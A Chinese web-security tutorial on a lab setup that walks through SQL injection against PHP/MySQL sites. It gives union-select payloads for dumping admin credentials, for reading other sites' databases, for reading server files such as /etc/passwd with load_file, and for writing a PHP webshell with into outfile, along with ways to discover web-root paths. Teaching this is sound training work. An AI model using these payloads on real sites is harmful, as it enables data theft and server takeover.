当前位置: 首页 > news >正文

042-WEB 攻防:PHP 应用 MYSQL 架构 SQL 注入 跨库查询 文件读写 权限操作

042-WEB 攻防:PHP 应用 & MYSQL 架构 & SQL 注入 & 跨库查询 & 文件读写 & 权限操作

二、核心知识点与演示案例

1. 核心知识点

  • PHP-MYSQL-SQL 注入 - 常规查询

  • PHP-MYSQL-SQL 注入 - 跨库查询

  • PHP-MYSQL-SQL 注入 - 文件读写

2. 演示案例

  • PHP-MYSQL-Web 组成架构解析

  • PHP-MYSQL-SQL 常规查询实战

  • PHP-MYSQL-SQL 跨库查询实战

  • PHP-MYSQL-SQL 文件读写实战

三、PHP-MYSQL-Web 组成架构

1. 架构核心逻辑

服务器部署 MySQL 数据库,集中管理多个 Web 站点的数据库;站点与数据库的关联通过 “数据库用户” 实现,核心差异在于 “用户权限分配策略”,两种主流方案如下:

2. 两种数据库管理方案对比

管理方案 实现逻辑 优缺点分析
1. 统一 root 用户管理 所有站点(如www.zblog.com、www.demo01.com)均使用 MySQL 的 root 用户连接数据库 优点:配置简单,无需创建多个用户;缺点:权限过度集中,一个站点被注入则所有站点数据库暴露
2. 一对一用户管理(推荐) 为每个站点创建独立数据库用户(如 zblog 站点用 zblog 用户、demo01 站点用 demo01 用户),仅授予对应数据库的操作权限 优点:权限最小化,单个站点漏洞不影响其他站点;缺点:配置稍复杂,需逐个管理用户权限

3. 架构安全建议

  • 生产环境强制使用 “一对一用户管理”,避免 root 用户直接关联 Web 应用;

  • 数据库用户仅授予 “SELECT/INSERT/UPDATE/DELETE” 等必要权限,禁用 “FILE”“SUPER” 等高危权限(防止文件读写注入)。

四、PHP-MYSQL-SQL 常规查询(注入核心流程)

1. SQL 注入的核心概念

  • 原理:Web 应用接收用户输入的参数后,未过滤特殊字符(如 '、and、or、union 等) ,直接将参数代入 MySQL 查询语句执行,导致攻击者可构造恶意 SQL 语句控制查询结果。

  • 本质:“利用 SQL 语句的灵活性,将用户输入从‘数据’伪装成‘指令’”——MySQL 支持的操作(查、改、删、读写文件),注入均可尝试实现。

  • 关键前提:参数未过滤、查询结果可回显(或存在盲注条件)、数据库用户有对应操作权限。

2. 核心辅助表:information_schema(MySQL 5.0 + 必备)

information_schema是 MySQL 自带的 “元数据库”,存储所有数据库、表、列的结构信息,是注入中 “猜解数据结构” 的核心工具,关键表与列如下:

表名 核心列名 作用描述
information_schema.schemata schema_name 存储所有数据库的名称,用于跨库查询或全局猜解数据库
information_schema.tables table_schema 关联 “数据库名”,用于筛选指定数据库下的表
information_schema.tables table_name 存储表名,用于猜解目标数据库中的表结构
information_schema.columns table_name 关联 “表名”,用于筛选指定表下的列
information_schema.columns column_name 存储列名,用于猜解目标表中的字段(如 username、password)

3. 常规注入完整流程(以 “获取 admin 表账号密码” 为例)

步骤 1:判断注入点与列数(order by)

  • 目的:确定当前查询的表包含多少列(后续 union 查询需保持列数一致)。

  • SQL 示例:http://192.168.137.1:84/new.php?id=1 order by 6

  • 逻辑

    • 若页面正常显示,说明表至少有 6 列;
    • 若页面报错(如 “Unknown column '7' in 'order clause'”),说明表仅有 6 列(输入 7 时超出)。
  • 注意:从较小数字(如 1、2)逐步递增,避免直接输入大数字浪费时间。

步骤 2:确认回显位置(union select)

  • 目的:找到查询结果中 “可在页面显示” 的列(后续将敏感信息代入这些列)。

  • SQL 示例:http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,4,5,6

  • 逻辑

    • 用id=-1让原查询无结果,仅显示 union 查询的内容;
    • 若页面显示 “2、4、5”,说明第 2、4、5 列是回显列(后续将数据库信息代入这些列)。

步骤 3:获取基础信息(数据库名、用户、版本)

  • 目的:判断是否具备进一步注入的条件(如 MySQL 版本是否 5.0+、是否为 root 用户)。

  • SQL 示例

    • 查数据库名与用户:id=-1 union select 1,2,3,database(),user(),6(回显第 4 列显示数据库名,第 5 列显示当前用户);
    • 查版本与操作系统:id=-1 union select 1,2,3,version(),@@version_compile_os,6(第 4 列显示版本,第 5 列显示系统,如 Windows NT、Linux)。
  • 关键判断

    • 若version()返回 5.0 以上,说明支持 information_schema 表;
    • 若user()返回root@localhost,说明具备高权限(可尝试跨库、文件读写)。

步骤 4:猜解目标数据库下的表名

  • 目的:找到存储敏感信息的表(如 admin、user、member)。

  • SQL 示例:id=-1 union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01'

  • 参数说明

    • group_concat():将多个表名拼接为一个字符串(避免分页显示);
    • table_schema='demo01':指定目标数据库(步骤 3 中database()获取的结果)。
  • 预期结果:回显列显示admin,user,article(假设 demo01 数据库包含这 3 个表)。

步骤 5:猜解目标表下的列名

  • 目的:找到表中存储敏感数据的字段(如 username、password)。

  • SQL 示例:id=-1 union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin' and table_schema='demo01'

  • 注意:若表名被单引号过滤,可使用 Hex 编码(如table_name=0x61646D696E,0x 后为 “admin” 的十六进制)。

  • 预期结果:回显列显示id,username,password,email。

步骤 6:获取敏感数据(账号密码)

  • 目的:读取 admin 表中的实际数据。

  • SQL 示例:id=-1 union select 1,2,3,username,password,6 from admin limit 0,1

  • 参数说明

    • limit 0,1:读取第 1 行数据(0 表示起始索引,1 表示读取数量);
    • 若需读取多行,修改为limit 1,1(第 2 行)、limit 2,1(第 3 行)等。
  • 后续处理:若 password 是 MD5 加密,需用 MD5 解密工具(如 CMD5、PMD5)破解。

五、PHP-MYSQL-SQL 跨库查询(高权限注入)

1. 跨库查询的核心逻辑

  • 定义:通过 A 网站的 SQL 注入点,查询 MySQL 服务器中 B 网站的数据库数据(如通过 demo01 站点注入获取 zblog 站点的账号密码)。

  • 本质:利用 MySQL 的 “跨库访问语法”(数据库名.表名),结合 root 用户对所有数据库的访问权限实现。

2. 跨库查询的必要条件

  1. 数据库用户为 root:只有 root 用户拥有 “访问所有数据库” 的权限,普通用户仅能访问自身关联的数据库;

  2. 已知目标数据库名:需通过information_schema.schemata获取所有数据库名(确定要查询的 B 网站数据库);

  3. 注入点支持 union 查询:需通过 union 语句构造跨库查询逻辑。

3. 跨库查询完整流程(以 “demo01 注入→查 zblog 数据库” 为例)

步骤 1:获取所有数据库名(确定目标库)

  • SQL 示例:id=-1 union select 1,2,3,4,group_concat(schema_name),6 from information_schema.schemata

  • 预期结果:回显列显示information_schema,demo01,zblog,mysql(确定目标数据库为 zblog)。

步骤 2:查询目标数据库下的表名

  • SQL 示例:id=-1 union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='zblog'

  • 预期结果:回显列显示zbp_member,zbp_article,zbp_comment(目标表为 zbp_member,存储用户信息)。

步骤 3:查询目标表下的列名

  • SQL 示例:id=-1 union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='zbp_member' and table_schema='zblog'

  • 预期结果:回显列显示mem_ID,mem_Name,mem_Password,mem_Email(敏感字段为 mem_Name、mem_Password)。

步骤 4:读取目标表的敏感数据

  • SQL 示例:id=-1 union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member

  • 关键语法:zblog.zbp_member表示 “zblog 数据库下的 zbp_member 表”,必须显式指定 “数据库名。表名”,否则会报错(找不到表)。

  • 预期结果:回显列显示 zblog 站点的用户名(如 admin)和加密后的密码。

4. 常见问题与解决方案

问题现象 原因分析 解决方案
报错 “Table 'demo01.zbp_member' doesn't exist” 未指定目标数据库,默认从当前数据库(demo01)查询 在表名前添加目标数据库名:zblog.zbp_member
单引号被过滤(如table_schema='zblog'报错) 应用对单引号进行了转义或过滤 使用 Hex 编码:table_schema=0x7A626C6F67(0x 后为 “zblog” 的十六进制)
无法查询其他数据库 当前用户不是 root,仅有权限访问 demo01 放弃跨库,专注于当前数据库(demo01)的敏感数据提取

六、PHP-MYSQL-SQL 文件读写(高危操作)

1. 文件读写的必要条件

  1. root 用户权限:只有 root 用户可修改secure-file-priv配置,且具备文件读写权限;

  2. secure-file-priv 配置允许

    • MySQL 默认禁用文件读写(secure-file-priv=null),需在my.ini(Windows)或my.cnf(Linux)中配置路径;
    • 示例配置:secure-file-priv = "G:/develop/safety/phpstudy_pro/WWW/"(仅允许读写该目录下的文件);
    • 配置后需重启 MySQL 服务生效。
  1. 已知文件路径:需知道 Web 根目录或目标文件的绝对路径(否则无法定位文件)。

2. 文件读写实战流程

(1)读取文件(load_file () 函数)

  • 目的:读取服务器上的敏感文件(如配置文件、密码文件)。

  • SQL 示例

    • 读取 Windows 下的文件:id=-1 union select 1,load_file('D:/1.txt'),3,4,5,6;
    • 读取 Linux 下的文件:id=-1 union select 1,load_file('/etc/passwd'),3,4,5,6(/etc/passwd 是 Linux 用户密码文件)。
  • 常见可读取文件

    • Web 配置文件:G:/develop/safety/phpstudy_pro/WWW/demo01/config.php(存储数据库连接信息);
    • 中间件配置:C:/xampp/apache/conf/httpd.conf(Apache 根目录配置);
    • 系统文件:Windows 的C:/Windows/system32/drivers/etc/hosts、Linux 的/var/log/apache2/access.log(日志文件)。

(2)写入文件(into outfile)

  • 目的:向服务器写入恶意文件(如一句话木马),获取 Webshell 权限。

  • SQL 示例 1:写入普通文件:id=-1 union select 1,'test content',3,4,5,6 into outfile 'G:/develop/safety/phpstudy_pro/WWW/demo01/test.txt'

  • SQL 示例 2:写入一句话木马:id=-1 union select 1,'',3,4,5,6 into outfile 'G:/develop/safety/phpstudy_pro/WWW/demo01/xiaodi.php'

  • 木马作用:通过 POST 请求向xiaodi.php传递x参数(如x=phpinfo();),即可执行任意 PHP 代码(如查看服务器信息、上传文件)。

  • 注意

    • 路径必须是 Web 根目录下(否则无法通过 HTTP 访问木马文件);
    • Windows 路径需用\转义(如G:\develop\...)或/(MySQL 支持两种路径分隔符)。

3. 如何获取文件路径(关键难题)

路径获取方式 实现方法
1. 报错信息泄露 故意构造错误 SQL(如id=1'),若页面显示 “File 'G:/.../new.php' not found”,直接获取路径
2. phpinfo 页面 若应用有 phpinfo 页面(如http://xxx.com/phpinfo.php),查看 “DOCUMENT_ROOT” 字段(Web 根目录)
3. 常见默认路径 利用中间件默认路径:- XAMPP(Windows):C:/xampp/htdocs/;- WAMP:C:/wamp/www/;- Linux Apache:/var/www/html/
4. 日志文件推断 读取 Apache/Nginx 日志文件(如/var/log/apache2/access.log),从请求记录中获取路径

相关文章:

042-WEB 攻防:PHP 应用 MYSQL 架构 SQL 注入 跨库查询 文件读写 权限操作

042-WEB 攻防:PHP 应用 & MYSQL 架构 & SQL 注入 & 跨库查询 & 文件读写 & 权限操作 二、核心知识点与演示案例 1. 核心知识点PHP-MYSQL-SQL 注入 - 常规查询PHP-MYSQL-SQL 注入 - 跨库查询PHP-MYSQL-SQL 注入 - 文件读写2. 演示案例PHP-MYSQL-Web 组成架…...

Dsu On Tree 笔记

关于这个技巧我甚至都记不清是什么时候学的了,反正就是很早很早之前,当时学了之后看什么子树查询都想上 Dsu On Tree,后来也没怎么写过了,不过这个东西确确实实很强劲。 今天写了一上午教练的题单,大概获得了三天的时间来写自己想写的,就去写写各种莫队吧。 结果写到一个…...

西电微机原理-第一章 序论:微型计算机概述

目录1.1 基本概念1.2 微处理器概述1.3 微型计算机概述硬件、软件系统一、PC的发展二、PC的基本组成微型计算机的工作过程 1.1 基本概念1.2 微处理器概述Intel微处理器的发展💡 *注意:*8086和8088CPU片内总线和寄存器都是16位的,而8086的系统总线和io接口是16位,支持16位读…...

Liunx 硬盘扩容

第1步:检查磁盘当前状态lsblk sudo fdisk -l /dev/vdb df -h第2步:卸载并清理磁盘(如果已挂载) 如果发现 /dev/vdb 已经被挂载到了某个位置(比如 /data),先卸载它:sudo umount /dev/vdb如果卸载时显示 not mounted,说明没有挂载,继续下一步。 第3步:彻底清除磁盘上的…...

船舶航向控制算法

船舶航向控制算法:Nomoto/Norrbin 非线性模型 → PID/ADRC → 环境扰动 → 航向-航迹双环 → 结果可视化1. 技术要点模型:Nomoto(线性)+ Norrbin(非线性)+ 环境扰动(风/浪/流) 控制:PID、ADRC、L1-GPR 自适应(可选) 输出:航向角、舵角、航迹误差、控制性能指标(IT…...

pyside6 1

1 安装python 2 安装pycharm pycharm中创建项目,在项目中打开终端,安装pyside6 设计完成后保存至项目根目录,执行如下命令,生成相关py文件 打包:在项目根目录安装pyinstaller 安装后查看版本号,确定安装成果 打包 .py文件 pyinstaller -w 01.py //-w 没有黑窗口…...

基于WSL下载Hadoop和HBASE

正常操作 步骤 1:安装 WSL 启用 WSL 功能: 以管理员身份打开 PowerShell 或 命令提示符,输入以下命令并回车: powershell wsl --install 这个命令会自动启用所需的 Windows 功能、下载并安装默认的 Ubuntu 发行版。 (如果上述命令无效,可以手动启用): powershell dism.…...

应用多、交付快,研发运维怎么管?看云效+SAE 如何一站式破局

云效 AppStack 与阿里云 Serverless 应用引擎(SAE)的集成方案,为企业研发团队提供了一套高效、低成本、高质量的研运一体化解决方案。作者:天彤 背景 对于研发团队来说,应用程序(Application)的开发运维的成本、质量、效率,永远是比较难均衡的三个核心要素,特别是对于…...

revit二次开发之 钢筋功能详细分析

根据以上钢筋的功能,可以确定钢筋功能的主要功能按照循序如下:类别     功能 备注Rebar 结构钢筋 生成普通钢筋信息AreaReinforcement 结构区域钢筋  用于生成区域钢筋PathReinforcement 路径区域钢筋 用于生成路径区域钢筋FabricSheet 编织钢筋网片 用于生成网片钢筋类…...

java-wxj02

Java 核心概念深度解析:方法、数组与类 一、方法参数传递机制 示例代码分析 import java.util.Arrays;public class Main {static void changeStr(String x) {x = "xyz";}static void changeArr(String[] strs) {for (int i = 0; i < strs.length; i++) {strs[i]…...

停止win10自动升级操作

Win11 和 Win10,使用。 按 Win + X 键选择 Windows PowerShell (管理员) 按右键粘贴这行代码后回车即可: reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsUpdate\UX\Settings" /v FlightSettingsMaxPauseDays /t reg_dword /d 10000 /f之后你就可以在 Win…...

vue3 - elementPlus

官网: https://element-plus.org/zh-CN 安装 npm install element-plus --saveElement Plus 是项目运行时必须的 UI 组件库,最终会被打包到生产环境代码中,因此需要用 --save 安装(这也是 npm 5+ 版本的默认行为,可省略 --save)。 package.json一、按钮 Button 全局导入…...

GAS_Aura-Target Data

1...

windows 把恢复分区调整到 c 盘前面

1. 使用diskgenius在c盘前面划分出一块1G以上大小的空间(需要重启) 2. 使用diskgenius在这块空间上建立分区,设置属性为隐藏 3. 使用diskgenius克隆旧恢复分区的文件到新建分区 4. 用管理员CMD命令,修改新建分区类型GUID为"de94bba4-06d1-4d40-a16a-bfd50179d6ac"…...

wso2~对已发布api的元信息管理

在wso2的发布者模块中,如果你的api建立后,是无法修改api名称和context路径的,只能在发布者模块添加新的api,这对于订阅者来说是安全的,但如果你不小心路径写错了,希望对context进行变更,也可以在carbon平台实现api原始信息是的修改,但请注意,这对于所有订阅者都是生效…...

利用Myo臂环采集肌电信号和角速度来实现实时手势识别

利用Myo臂环采集肌电信号(EMG)和角速度(来自陀螺仪)来实现实时手势识别 一、系统概述与工作原理 Myo臂环是一款可穿戴设备,它包含:8个EMG传感器:测量前臂肌肉产生的电信号。不同的手势会激活不同的肌肉群,产生独特的肌电模式。 9轴IMU:包含陀螺仪(角速度)、加速度计…...

实用指南:leetcode 966. 元音拼写检查器 中等

实用指南:leetcode 966. 元音拼写检查器 中等pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", monospace !i…...

三轴传感开发新纪元:exvib扩展库让精准检测触手可及!

告别复杂代码与冗长调试,exvib扩展库为三轴传感带来颠覆性变革。极简API设计实现高效对接,开发者只需少量代码即可解锁精准检测能力,轻松应对各类传感场景,让技术落地不再艰难。 一、exvib库典型应用及检测模式 1.1 三种典型应用 exvib.open(mode)接口针对三种典型应用场景…...

List与Dictionary区别

List<T> 和 Dictionary<TKey,TValue> 都是泛型集合,但底层数据结构、使用场景、操作复杂度完全不同:✅ 一句话区别List = 有序数组,按索引找元素,可重复。Dictionary = 哈希表,按键找元素,键唯一,无序(插入顺序不保证)。📊 横向对比表 表格 复制特性Lis…...

OpenStack Cinder 架构

Cinder 是 OpenStack 的 块存储 (Block Storage) 服务,其核心功能是为虚拟机实例提供持久化的块存储设备(即云硬盘 Volume)。这些云硬盘可以被挂载到虚拟机实例上,就像给物理服务器插上一块新的硬盘一样,用于扩展实例的存储空间或持久化保存数据,即使实例本身被终止,数据…...

完整教程:IC(输入捕获)

完整教程:IC(输入捕获)pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", monospace !important; font-size…...

HiMarket 正式开源,为企业落地开箱即用的 AI 开放平台

在 AI 浪潮席卷千行百业的今天,我们看到无数企业和开发者满怀激情地投身其中。无论是将内部的大模型能力赋能给各个业务线,还是希望将昂贵的 AI 资产对外开放、构建生态,一个强大的“AI 开放平台”都已成为刚需。💡 目录 01 HiMarket 开源背景 02 HiMarket 是什么 03 快…...

如何统计DrawMeshInstancedIndirect绘制物体的Triangle数据

1)如何统计DrawMeshInstancedIndirect绘制物体的Triangle数据2)如何量化骨骼数量对功耗的影响3)Sprite Atlas和单独的Sprite的RW设置分别如何影响内存4)Playable的Animator.WriteTransform一直执行在一个Job线程里这是第444篇UWA技术知识分享的推送,精选了UWA社区的热门话…...

VK1S68C点钟LED驱动控制专用芯片高抗干扰数显驱动IC 可支持134的点阵LED显示面板

VK1S68C是一种带键盘扫描接口的数码管或点阵LED驱动控制专用芯片,内部集成有3 线串行接口、数据锁存器、LED 驱动、键盘扫描等电路。SEG脚接LED阳极,GRID脚接LED 阴极,可支持13SEGx4GRID、12SEGx5GRID、11SEGx6GRID、10SEGx7GRID的点阵LED显 示面板,最大支持10x2按键。适用…...

基于MATLAB的海洋中尺度涡旋诊断

基于MATLAB的海洋中尺度涡旋诊断方案,使用卫星高度计与海洋模式数据,结合多源特征提取与机器学习方法:一、系统架构设计 % 主程序框架 [ssh_mod, ssh_sat] = load_data(); % 加载模型与卫星数据 [ssh_merged, mask] = data_preprocess(ssh_mod, ssh_sat); % 数据融合与掩膜生…...

从混乱到有序:Tita 项目一体化管理的全场景赋能

在企业运营中,项目管理如同一条贯穿始终的主线,串联起资源调配、团队协作与目标达成。然而,多数企业在项目推进过程中,常常陷入流程断裂、信息滞后、协作低效的困境。Tita 项目一体化管理以全场景覆盖的特性,为企业提供从根源上解决问题的方案,让项目管理从 “被动救火”…...

SpringBoot入门指南:让Java开发变得像搭积木一样简单 - 教程

SpringBoot入门指南:让Java开发变得像搭积木一样简单 - 教程pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New"…...

汇编语言[王爽]-13 int指令【中断实现loop、jmp】

int指令 格式:int n :n是中断向量码,引发一个中断 作用:等价于下面的代码【中断流程】 1. 取中断向量码N 2. pushf 3. IF=0,TF=0 4. push CS , push IP 5. (IP)=(N*4) ; (CS)=(N*4+2)iret指令 格式: iret 从中断例程中返回 作用:等价于下面的代码 pop IP pop CS popf💡…...

Supabase云同步架构:Flutter应用的数据同步策略

Supabase云同步架构:Flutter应用的数据同步策略本文基于BeeCount(蜜蜂记账)项目的实际开发经验,深入探讨如何使用Supabase构建安全、高效的云端数据同步系统。项目背景 BeeCount(蜜蜂记账)是一款开源、简洁、无广告的个人记账应用。所有财务数据完全由用户掌控,支持本地存储…...

汇编语言[王爽]-12 内中断

内中断的产生 来源及中断码除法错误:0 单步执行:1 执行into指令:4 执行int n指令:n中断向量表中断过程 CPU收到中断信息后,根据中断向量表,跳转到相应的中断程序中处理中断,这一过程称为中断过程从中断信息中取得中断向量码N 标志寄存器入栈(因为中断过程中要改变标志寄…...

【SPIE出版】第五届先进制造技术与电子信息国际学术会议(AMTEI 2025)

第五届先进制造技术与电子信息国际学术会议(AMTEI 2025)将于2025年09月26-28日在重庆召开。【先进制造、机械工程、电子信息方向均可投稿】 【SPIE见刊发表,EI Compendex和Scopus检索收录 | 发表&检索十分稳定!】 第五届先进制造技术与电子信息国际学术会议(AMTEI 202…...

2025.9.15 考试总结

总结来说就是 3h 写 t1 没时间想 t2,t3 了,其实 t3 还是很一眼的。 T1 一个斜优板子。 每次如果 \(l_i = 1, r_i = i - 1\),是很容易用李超树做到 \(O(n \log n)\)。 既然每次查一个区间,那么就在外面套一个线段树。 std 的做法是用线段树维护凸包,我的树套树被卡常了。 李…...

汇编语言[王爽]-01 基础知识

汇编语言的组成汇编指令:机器码的助记符,有相应的机器码 伪指令:没有对应的机器码,由编译器执行,计算机不执行 其他符号:如+ - * / 由编译器识别,没有对应的机器码汇编指令是汇编语言的核心 指令与数据是应用上的概念,在x86架构中,指令和数据存放在内存或磁盘中没有任…...

贪心外套计数

[AGC049E] Increment Decrement一个序列 \(A\) 有一个权值:序列 \(a\) 元素都等于 \(0\),能进行若干次操作单点加 \(1\) 或 \(-1\),花费为 \(1\)。 区间加 \(1\) 或 \(-1\),花费为 \(C\)。\(a\) 变成 \(A\) 的最小花费,即为 \(A\) 的权值。 给 \(n\) 个长 \(k\) 的序列 \(…...

汇编语言[王爽]-02 寄存器

14个寄存器,都是16位 AX BX CX DX SI DI SP BP IP CS SS DS ES PSW 通用寄存器:AX BX CX DX 段寄存器:CS DS SS ES cpu分段寻址 8086是16位机,寄存器,运算器,寄存器与运算器的通路都是16位的,那么又是如何达到20位的地址总线宽度的呢。答案是使用分段寻址 物理地址= 段地…...

汇编语言[王爽]-03 寄存器(内存访问)

内存视图内存由低至高从上往下画 栈的生长方向:高地址向低地址 小端存储:高位存放在高地址,低位存放在低地址书写的时候高位在左边。 4E20H 存储单元高地址在右边。 0 - 3 : 20 4E 12 00mov指令 mov ax,1000h mov ds,ax mov [0],bx #传送字型数据内存单元以ds为段基址 不能…...

汇编语言[王爽]-05 [BX]和loop指令

loop指令实现循环 执行过程: ①(cx)=(cx)-1 ②判断 cx 中的值,不为零则转至标号处执行程序,如果为零则向下执行。 例:计算2^12 assume cs:codesegcodeseg segmentmov ax,2#-------做11次add ax,ax----------mov cx,11 s:add ax,axloop s#--------------------------------m…...

完整教程:YOLO数据集格式转换工具v1.0-微智启软件工作室

完整教程:YOLO数据集格式转换工具v1.0-微智启软件工作室pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", mo…...

2.docker 安装

系统环境 wind(wsl ) Ubuntu 安装Docker...

树形DP2F

T1 树的直径 我们使用\(f[u]\)表示以\(u\)为根的子树,向下延伸的最远距离 那么\(f[u]\)的初始值为0,表示\(u\)能向下延伸的最远距离是自己,\(f[u]=0\) \(ans=max(ans,f[u]+f[v]+w)ans\)表示直径 错误1 如果有负边权,所以我把\(f[u]\)的初值设置成为一个极小值,这样的话,和…...

搞定SPI开发:硬件设计精讲与CH390H示例应用

想要轻松搞定SPI开发?聚焦硬件设计关键要点,结合CH390H芯片示例,带你从理论到实践,全面掌握SPI开发技术。 本文以Air780EPM为例,分享SPI接口的开发注意事项及硬件设计要点。 一、Air780EPM的SPI功能支持 在Air780EPM中,SPI接口通过特定GPIO引脚实现,需结合LuatOS的API进…...

Qt-摄像头捕获画面

Qt-摄像头捕获画面在qt中捕获摄像头画面,在ui界面上添加一个comboBox控件、label标签和两个pushButton按钮,comboBox用于显示摄像头的设备,按钮用于开启摄像头和捕获当前帧的画面,label用于显示摄像头捕获的画面。//需要在.pro文件中加上multimedia multimediawidgets QT …...

我开发的软件和开源/免费软件

一、我开发的软件 1.软件目录 2.下载地址 通过网盘分享的文件: 链接:https://pan.baidu.com/s/1PiK9OhZs_mSjd5PcXRig4Q?pwd=dyzj 提取码:dyzj 复制这段内容后打开百度网盘手机App,操作更方便哦二、开源/免费软件Everything.zip(电脑文件搜索软件) ScreenToGif录屏工具 O…...

PostgreSQL中级认证,PG证书官网查询

Oracle数据库的认证行业皆知,它分为OCA、OCP和OCM三种代表着初中高三个级别,证书可以在Oracle官网查询;PostgreSQL数据库的认证也是类似,分为PGCA、PGCP和PGCM三种,如果是工信部人才交流中心的PG认证,可以在工信人才官网查询,查询网址:www.miitec.cn 一、工信部人才交流…...

LLaMA-Adapter - 详解

LLaMA-Adapter - 详解pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", monospace !important; font-size: 14…...

查看安装软件版本的命令

java -version allure --version pip3 --verison...

ubuntu 20.04安装mysql 5.7

环境Os:ubuntu 20.04 desktop桌面版mysql:mysql-5.7.42-linux-glibc2.12查看操作系统信息root@db:/soft# ldd --version ldd (Ubuntu GLIBC 2.31-0ubuntu9) 2.31 Copyright (C) 2020 Free Software Foundation, Inc. This is free software; see the source for copying condit…...

企业微信逆向开发协议,ipad协议调用方式

企业微信逆向开发协议,ipad协议调用方式企业微信ipad协议接口,已经实现了企业微信pc端所有功能。 【初始化】:初始化企业微信、设置消息回调、获取运行中的实例、根据uuid查看实例详情 【登录】: 获取登录二维码、输入验证码设置、 自动登录、退出登录、获取二次验证二维码…...

OpenStack Nova Scheduler 计算节点选择机制

Nova Scheduler 的核心任务是解决“虚拟机实例在哪个计算节点上启动”的问题,它根据用户通过 flavor 提出的资源需求(如 CPU、内存、磁盘)来做出决策。其默认的调度器是 Filter Scheduler,工作流程主要分为过滤 (Filtering) 和称重 (Weighting) 两个阶段。 1、整体流程 1.1…...

记一种很新的 bitset

bitset 可以维护位移和或。 我们可以扩展他一下,变成值域为 \([0,2^k)\),然后每次操作是位移和对位相加然后对 \(2^k-1\) 取 \(\min\)。 我们每一位取 \(k+1\) 个 \(\text{bit}\),每次加起来后把第 \(k+1\) 位或到前面,然后再与掉就可以了。 复杂度 \(\dfrac {n\log k}\ome…...